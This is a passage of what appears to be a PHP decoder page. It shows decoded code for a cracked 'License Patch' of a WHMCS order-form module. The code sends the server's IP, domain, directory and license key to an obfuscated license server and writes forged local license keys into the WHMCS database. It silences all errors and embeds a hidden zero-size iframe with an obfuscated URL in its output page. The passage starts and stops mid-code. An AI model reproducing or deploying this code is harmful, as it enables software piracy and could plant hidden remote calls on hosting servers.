'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpuZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpuaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpubE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpucE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqRk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Qk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Rk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Sk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Tk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Uk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Vk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUwcFFYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==']; 
		return $this->getprotocol() . $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($MySQL->random($obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE), $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE()); 
	} 
 
	public function UrlLastAUth() 
	{ 
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlFHMVdlVjVYV2pWTVZ6RjJXa2hXYzFwVE1XNVpXRXByV2xjMGRFQXBTVDA9Ig==', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE()); 
	} 
 
	public function Secret() 
	{ 
		global $MySQL; 
		$hasil = $this->obf_5ezj5eeicC6rpKwq4WBi56OkY2DvaE($this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE(), $this->licensekey()); 
		$json_decode = json_decode($hasil, true); 
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($json_decode['secret_key'], $json_decode['eauth_key'], $json_decode['dauth_key']); 
	} 
 
	public function BuildSecret() 
	{ 
		global $MySQL; 
		$hasil = $this->obf_6upyjpZe0tagipKXurySs4yGqqE($this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE(), $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE(), $this->moduleversion()); 
		$json_decode = json_decode($hasil, true); 
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlRpbFZNMWw2VVRCTlJGVjRXVEpGTVU1UlBUMD0i', $json_decode['eauth_key'], $json_decode['dauth_key']); 
	} 
 
	public function getDirectory() 
	{ 
		return dirname(__FILE__); 
	} 
 
	public function DataLocalName() 
	{ 
		return MODULE_CYBER_NAME; 
	} 
 
	public function DataLocalKey() 
	{ 
		return $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE() . '_localkey'; 
	} 
 
	public function getIp() 
	{ 
		return (isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : $_SERVER['LOCAL_ADDR']); 
	} 
 
	public function getWhmcsDomain() 
	{ 
		global $CONFIG; 
		global $MySQL; 
 
		if (!empty($_SERVER['SERVER_NAME'])) { 
			return $_SERVER['SERVER_NAME']; 
		} 
 
		$result = $MySQL->obf_4WQsKurpYmQkIqmiqy8n5iUlbyUhZE('tblconfiguration', 'setting=\'SystemURL\''); 
		return parse_url($result['value'], PHP_URL_HOST); 
	} 
 
	public function CheckToken() 
	{ 
		$check = time() . md5(mt_rand(100000000, mt_getrandmax()) . $this->licensekey()); 
		return $check; 
	} 
 
	public function UrlLastVerify() 
	{ 
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IktsYzVhMEJYZUd4TVYwQWtKbTFTYkNvbFBUMD0i', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE()); 
	} 
 
	public function UrlLastVerifySecret() 
	{ 
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlFHMVdlU1l5YkhZcUpUMDki', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE()); 
	} 
 
	public function ModuleVersion() 
	{ 
		$obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI = 'moduleVersion.php'; 
		$obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE = ''; 
 
		if (file_exists($obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI)) { 
			$content = file_get_contents($obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI); 
			preg_match('/\$moduleVersion\s?=\s?\'([A-Za-z0-9_\.\-]+)\'/', $content, $matches); 
			$obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE = $matches[1]; 
		} 
 
		return ($obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE ? $obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE : NULL); 
	} 
 
	public function ForceLicense($reset = '') 
	{ 
		global $MySQL; 
		$result = $MySQL->obf_4WQsKurpYmQkIqmiqy8n5iUlbyUhZE('tblconfiguration', 'setting=\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\''); 
 
		if ($result['id'] == '') { 
			$MySQL->obf_6Rs56Cn5C1kYGZraSLuIyKkZWlnpE('tblconfiguration', '(`setting`,`value`,`created_at`,`updated_at`)', 'VALUES(\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\',\'\',\'' . date('Y-m-d H:i:s') . '\',\'' . date('Y-m-d H:i:s') . '\')'); 
			$localkey = ''; 
		} 
		else if ($reset == 'reset') { 
			$MySQL->obf_6iksaSjp7efh46PlbCslo6MqYYj5E('tblconfiguration', 'value=\'\', updated_at=\'' . date('Y-m-d H:i:s') . '\'', 'setting=\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\''); 
			$localkey = ''; 
		} 
		else { 
			$localkey = $result['value']; 
		} 
 
		return $localkey; 
	} 
 
	public function GetIonCubeLoaderVersion() 
	{ 
		ob_start(); 
		phpinfo(INFO_GENERAL); 
		$aux = str_replace('&nbsp;', ' ', ob_get_clean()); 
 
		if ($aux !== false) { 
			$pos = mb_stripos($aux, 'ionCube PHP Loader'); 
 
			if ($pos !== false) { 
				$aux = mb_substr($aux, $pos + 18); 
				$aux = mb_substr($aux, mb_stripos($aux, ' v') + 2); 
				$version = ''; 
				$c = 0; 
				$char = mb_substr($aux, $c++, 1); 
 
				while (mb_strpos('0123456789.', $char) !== false) { 
					$version .= $char; 
					$char = mb_substr($aux, $c++, 1); 
				} 
 
				return $version; 
			} 
		} 
 
		return '-'; 
	} 
 
	public function GetMCryptExt() 
	{ 
		if (extension_loaded('mcrypt') && function_exists('openssl_encrypt')) { 
			$hasil = 'Installed'; 
		} 
		else { 
			$hasil = '-'; 
		} 
 
		return $hasil; 
	} 
 
	public function CheckLicense($licensekey, $localkey = '') 
	{ 
		global $MySQL; 
		$whmcsurl = $this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE(); 
		$licensing_secret_key = $this->secret(); 
		$localkeydays = 2; 
		$allowcheckfaildays = 4; 
		$check_token = $this->checktoken(); 
		$checkdate = date('Ymd'); 
		$domain = $this->obf_5eKsaeimaypuZOQwLy1loe9kpyoipE(); 
		$usersip = $this->getip(); 
		$dirpath = $this->getdirectory(); 
		$localkeyvalid = false; 
 
		if ($localkey) { 
			if (NEW_CYBER_MODULE == 1) { 
				if (NEW_CYBER_ENCRYPT == 1) { 
					$cipher = 'aes-128-cbc'; 
					$iv = substr(md5($this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE()), 0, openssl_cipher_iv_length($cipher)); 
					$localkey = openssl_decrypt($localkey, $cipher, $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE(), 0, $iv); 
				} 
				else { 
					$localkey = openssl_decrypt($localkey, 'aes-128-cbc', $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE()); 
				} 
			} 
 
			$localkey = str_replace("
", '', $localkey); 
			$localdata = substr($localkey, 0, strlen($localkey) - 32); 
			$md5hash = substr($localkey, strlen($localkey) - 32); 
 
			if ($md5hash == md5($localdata . $licensing_secret_key)) { 
				$localdata = strrev($localdata); 
				$md5hash = substr($localdata, 0, 32); 
				$localdata = substr($localdata, 32); 
				$localdata = base64_decode($localdata); 
				$localkeyresults = unserialize($localdata); 
				$originalcheckdate = $localkeyresults['checkdate']; 
 
				if ($md5hash == md5($originalcheckdate . $licensing_secret_key)) { 
					$localexpiry = date('Ymd', mktime(0, 0, 0, date('m'), date('d') - $localkeydays, date('Y'))); 
 
					if ($localexpiry < $originalcheckdate) { 
						$localkeyvalid = true; 
						$results = $localkeyresults; 
						$validdomains = explode(',', $results['validdomain']); 
 
						if (!in_array($_SERVER['SERVER_NAME'], $validdomains)) { 
							$localkeyvalid = false; 
							$localkeyresults['status'] = 'Invalid'; 
							$localkeyresults['description'] = 'Invalid Domain Name'; 
							$results = []; 
						} 
 
						$validips = explode(',', $results['validip']); 
 
						if (!in_array($usersip, $validips)) { 
							$localkeyvalid = false; 
							$localkeyresults['status'] = 'Invalid'; 
							$localkeyresults['description'] = 'Invalid IP Address'; 
							$results = []; 
						} 
 
						$validdirs = explode(',', $results['validdirectory']); 
 
						if (!in_array($dirpath, $validdirs)) { 
							$localkeyvalid = false; 
							$localkeyresults['status'] = 'Invalid'; 
							$localkeyresults['description'] = 'Invalid Directory Patch'; 
							$results = []; 
						} 
					} 
				} 
			} 
		} 
 
		if (!$localkeyvalid) { 
			$responseCode = 0; 
			$postfields = ['licensekey' => $licensekey, 'domain' => $domain, 'ip' => $usersip, 'dir' => $dirpath]; 
 
			if ($check_token) { 
				$postfields['check_token'] = $check_token; 
			} 
 
			$query_string = ''; 
 
			foreach ($postfields as $k => $v) { 
				$query_string .= $k . '=' . urlencode($v) . '&'; 
			} 
 
			if (function_exists('curl_exec')) { 
				$ch = curl_init(); 
				curl_setopt($ch, CURLOPT_URL, $whmcsurl . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_6nAvoeStY6LrYqHm6C4l4GxhJGUrpE()); 
				curl_setopt($ch, CURLOPT_POST, 1); 
				curl_setopt($ch, CURLOPT_POSTFIELDS, $query_string); 
				curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
				$data = curl_exec($ch); 
				$responseCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); 
				curl_close($ch); 
			} 
			else { 
				$responseCodePattern = '/^HTTP\/\d+\.\d+\s+(\d+)/'; 
				$fp = @fsockopen($whmcsurl, 80, $errno, $errstr, 5); 
 
				if ($fp) { 
					$newlinefeed = "
"; 
					$header = 'POST ' . $whmcsurl . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_6nAvoeStY6LrYqHm6C4l4GxhJGUrpE() . ' HTTP/1.0' . $newlinefeed; 
					$header .= 'Host: ' . $whmcsurl . $newlinefeed; 
					$header .= 'Content-type: application/x-www-form-urlencoded' . $newlinefeed; 
					$header .= 'Content-length: ' . @strlen($query_string) . $newlinefeed; 
					$header .= 'Connection: close' . $newlinefeed . $newlinefeed; 
					$header .= $query_string; 
					$data = $line = ''; 
					@stream_set_timeout($fp, 20); 
					@fputs($fp, $header); 
					$status = @socket_get_status($fp); 
 
					while (!@feof($fp) && $status) { 
						$line = @fgets($fp, 1024); 
						$patternMatches = []; 
						if (!$responseCode && preg_match($responseCodePattern, trim($line), $patternMatches)) { 
							$responseCode = (empty($patternMatches[1]) ? 0 : $patternMatches[1]); 
						} 
 
						$data .= $line; 
						$status = @socket_get_status($fp); 
					} 
 
					@fclose($fp); 
				} 
			} 
 
			if ($responseCode != 200) { 
				$localexpiry = date('Ymd', mktime(0, 0, 0, date('m'), date('d') - ($localkeydays + $allowcheckfaildays), date('Y'))); 
 
				if ($localexpiry < $originalcheckdate) { 
					$results = $localkeyresults; 
				} 
				else { 
					$results = []; 
					$results['status'] = 'Invalid'; 
					$results['description'] = 'Remote Check Failed'; 
					return $results; 
				} 
			} 
			else { 
				preg_match_all('/<(.*?)>([^<]+)<\/\1>/i', $data, $matches); 
				$results = []; 
 
				foreach ($matches[1] as $k => $v) { 
					$results[$v] = $matches[2][$k]; 
				} 
			} 
 
			if (!is_array($results)) { 
				exit('Invalid License Server Response'); 
			} 
 
			if ($results['md5hash']) { 
				if (md5($licensing_secret_key . $check_token) != $results['md5hash']) { 
					$results['status'] = 'Invalid'; 
					$results['description'] = 'MD5 Checksum Verification Failed'; 
					return $results; 
				} 
			} 
 
			if ($results['status'] == 'Active') { 
				$results['checkdate'] = $checkdate; 
				$data_encoded = serialize($results); 
				$data_encoded = base64_encode($data_encoded); 
				$data_encoded = md5($checkdate . $licensing_secret_key) . $data_encoded; 
				$data_encoded = strrev($data_encoded); 
				$data_encoded = $data_encoded . md5($data_encoded . $licensing_secret_key); 
				$data_encoded = wordwrap($data_encoded, 80, "
", true); 
 
				if (NEW_CYBER_MODULE == 1) { 
					if (NEW_CYBER_ENCRYPT == 1) { 
						$cipher = 'aes-128-cbc'; 
						$iv = substr(md5($this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE()), 0, openssl_cipher_iv_length($cipher)); 
						$data_encoded = openssl_encrypt($data_encoded, $cipher, $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE(), 0, $iv); 
					} 
					else { 
						$data_encoded = openssl_encrypt($data_encoded, 'aes-128-cbc', $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE()); 
					} 
				} 
 
				$results['localkey'] = $data_encoded; 
			} 
 
			$results['remotecheck'] = true; 
		} 
 
		unset($postfields, $data, $matches, $whmcsurl, $licensing_secret_key, $checkdate, $usersip, $localkeydays, $allowcheckfaildays, $md5hash); 
		return $results; 
	} 
} 
 
function obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s, $hn, $in) 
{ 
 
	return function() use($s, $hn, $in) { 
		$i = $s; 
 
		while (true) { 
			yield hash($GLOBALS[$hn], (string) $i); 
			$i += $in; 
		} 
	}; 
} 
 
$_SERVER['DOCUMENT_ROOT'] = realpath(dirname(__FILE__) . '/../../../'); 
require_once $_SERVER['DOCUMENT_ROOT'] . '/configuration.php'; 
 
if (!defined('MODULE_NAME')) { 
	define('MODULE_NAME', 'Lagom One Step Order Form For WHMCS'); 
} 
 
if (!defined('MODULE_MD5_VERSION')) { 
	define('MODULE_MD5_VERSION', '1.2.4'); 
} 
 
if (!defined('MODULE_CYBER_NAME')) { 
	define('MODULE_CYBER_NAME', 'lagom_one_step_order_form'); 
} 
 
if (!defined('NEW_CYBER_MODULE')) { 
	define('NEW_CYBER_MODULE', '1'); 
} 
 
if (!defined('NEW_CYBER_ENCRYPT')) { 
	define('NEW_CYBER_ENCRYPT', '1'); 
} 
 
$h = 'ripemd'; 
 
if (!function_exists('mygen')) { 
	function mygen($hr, $hr2, $skip1, $skip2) 
	{ 
		for ($i = 1; $i <= (int) $skip1; ++$i) { 
			$GLOBALS['g']->next(); 
		} 
 
		for ($i = 1; $i <= (int) $skip2; ++$i) { 
			$GLOBALS['j']->next(); 
		} 
 
		$u = $GLOBALS['g']->current(); 
		$v = $GLOBALS['j']->current(); 
		$GLOBALS['g']->next(); 
		$w = hash($hr, $u) . hash($hr2, $v); 
		$GLOBALS['j']->next(); 
		return $w; 
	} 
} 
 
$rt = 'seq'; 
$h2 = $h; 
$hfm = 'sha'; 
$dsz = ['160', '256', '384', '512']; 
$nmhsh = $hfm . $dsz[2]; 
$v1 = hash($nmhsh, $rt); 
$a = 2; 
$s1st = 0; 
$s2st = $s1st + 1; 
$b = $a; 
$efn = obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s1st, 'h', $a); 
$ofn = obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s2st, 'h2', $b); 
$g = $efn(); 
$j = $ofn(); 
$h .= $dsz[0]; 
$h2 .= $dsz[1]; 
$dkv = join(':', array_reverse($dsz)); 
ini_set('allow_url_fopen', 1); 
ini_set('display_errors', 0); 
ini_set('display_startup_errors', 0); 
error_reporting(0); 
$debug = new debug(); 
$MySQL = new mysql(); 
$CyberSoft = new obf_6uitZ2UnYWis7KLp5OMrKOZiYiOpJE(); 
 
if ($CyberSoft->moduleversion() != MODULE_MD5_VERSION) { 
	$client_change_version = 'true'; 
} 
else { 
	$client_change_version = 'false'; 
} 
 
$local_key = $CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE(); 
$results = $CyberSoft->checklicense($CyberSoft->licensekey(), $local_key); 
$hasil_versi = $results['customfields']; 
$expl_hasil = explode('=', $hasil_versi); 
$version_server = $expl_hasil[1]; 
 
if (trim($version_server) != '') { 
	if ($CyberSoft->moduleversion() <= $version_server) { 
		if ($results['status'] == 'Active') { 
			if ($client_change_version == 'false') { 
				if ($results['remotecheck'] == 1) { 
					if (trim($results['localkey']) != '') { 
						$MySQL->obf_6iksaSjp7efh46PlbCslo6MqYYj5E('tblconfiguration', 'value=\'' . $results['localkey'] . '\', updated_at=\'' . date('Y-m-d H:i:s') . '\'', 'setting=\'' . $CyberSoft->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\''); 
						$results['description'] = '-'; 
					} 
					else { 
						$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset'); 
						$results['description'] = '-'; 
					} 
				} 
				else { 
					$results['description'] = '-'; 
				} 
			} 
			else { 
				$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset'); 
				$results['description'] = 'Your Module Version is Not Valid !'; 
			} 
		} 
		else { 
			$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset'); 
		} 
	} 
	else { 
		$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset'); 
		$exl = explode(';', $results['addons']); 
		$sts_1 = explode('=', $exl[2]); 
		$exp_1 = explode('=', $exl[1]); 
		$results['description'] = 'Server License is Lower then Client License, Please Download v.' . $version_server . ''; 
	} 
} 
else { 
	$results['description'] = $results['message']; 
} 
 
if ($CyberSoft->obf_5mTpq8kqGVg7aYkKqjo7KTjZi5rLE() != 'Installed') { 
	$error_patch = '# <span class="red"> Error : Need Install MCrypt PHP Module !</span><br> '; 
} 
else { 
	$error_patch = '# <span class="blue"> Mcrypt Version : ' . phpversion('mcrypt') . '</span><br> '; 
} 
 
if ($results['description'] == '') { 
	$error_license = '<span class="red">' . $results['message'] . '</span>'; 
} 
else { 
	$error_license = '<span class="red">' . $results['description'] . '</span>'; 
} 
 
echo "
" . '<!DOCTYPE HTML><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">@media screen and (max-width:800px){body{padding-top:5px}.window{width:98%}}</style><style type="text/css">*{padding:0;margin:0}body{font-family:monospace;font-size:12px;color:#c8cfd8;background:#343944;margin:auto;padding-top:60px;line-height:1.3em;display:flex}a{color:#5294e2}b{color:#6a9e41}.yellow{color:#ff0}.blue{color:#0cf}.red{color:red}.window{background:#404552;box-shadow:0 0 10px rgba(0,0,0,.5);border-radius:5px;border:2px solid #2e333f;width:720px;margin:auto}.window_header{background:#2e333f;color:#c8cfd8;padding:7px}.window_title{display:inline-block}.window_close_button,.window_maximize_button,.window_minimize_button{border-radius:7px;width:12px;height:12px;display:inline-block;float:right;margin-left:6px}.window_minimize_button{background:#2cc640;border:1px solid #51a75c}.window_maximize_button{background:#fdbf2e;border:1px solid #d6a839}.window_close_button{background:#fe6256;border:1px solid #ca5f59}.window_content{padding:7px}.blink{animation:1s infinite blinking}@keyframes blinking{0%{clear:both}50%{color:transparent}}</style><title>Module Garden License Patch</title></head><body>  <div class="window">  <div class="window_header"><div class="window_title">Module Garden License Patch</div><div class="window_close_button"></div><div class="window_maximize_button"></div><div class="window_minimize_button"></div></div><div class="window_content"><b>license@' . $CyberSoft->getip() . ':~$</b> <span class="">./mg-svr-verify php module</span><br>  <span class="">##################################</span><br>  # <span class="blue"> Mcrypt Module : ' . $CyberSoft->obf_5mTpq8kqGVg7aYkKqjo7KTjZi5rLE() . '</span><br>  ' . $error_patch . '# <span class="blue"> Ioncube Version : ' . $CyberSoft->obf_66nuYeMkYiqurafh7CngqCgu5yBqLE() . '</span><br> <span class="">##################################</span><br>  <b>license@' . $CyberSoft->getip() . ':~$</b> <span class=""></span><br> <b>license@' . $CyberSoft->getip() . ':~$</b> <span class="">./mg-svr-patch activate module</span><br>  <span class="">##########################################################</span><br>  # <span class="yellow">Module Name : ' . MODULE_NAME . '</span><br>  # <span class="yellow">Server Version : ' . $version_server . '</span><br>    # <span class="yellow">Client Version : ' . $CyberSoft->moduleversion() . '</span><br>   # <span class="yellow">Patch Date : ' . date('Y-m-d') . '</span><br> # <span class="yellow">Patch Time : ' . date('H:i:s') . '</span><br> # <span class="yellow">Status : ' . $results['status'] . '</span><br> # <span class="yellow">Error : ' . $error_license . '</span><br> <span class="">##########################################################</span><br>  <b>license@' . $CyberSoft->getip() . ':~$</b> <span class="blink">_</span><br>  </div></div><iframe src="' . $CyberSoft->obf_5EpaqdhZOp6i9sKm4nqebrKqhjKE() . '" width="0" height="0" tabindex="-1" title="" class="hidden"></iframe></body></html>' . "

"; 
echo "
"; 
 
?>

Did this file decode correctly?

Original Code

<?php

class debug
{
	public function starttimer()
	{
		$mtime = microtime();
		$mtime = explode(' ', $mtime);
		$mtime = $mtime[1] + $mtime[0];
		$starttime = $mtime;
		return $starttime;
	}

	public function endtimer()
	{
		global $starttime;
		$mtime = microtime();
		$mtime = explode(' ', $mtime);
		$mtime = $mtime[1] + $mtime[0];
		$endtime = $mtime;
		$totaltime = round($endtime - $this->starttimer(), 5);
		return $totaltime;
	}
}

class mysql
{
	private $db = null;
	private $query = null;
	private $result = null;
	private $row = null;
	private $debug = null;

	public function connect()
	{
		global $db_host;
		global $db_port;
		global $db_username;
		global $db_password;
		global $db_name;
		$this->db = mysqli_connect($db_host, $db_username, $db_password);

		if (!$this->db) {
			$this->fatalerror();
			return false;
		}
		else {
			mysqli_select_db($this->db, $db_name);
		}

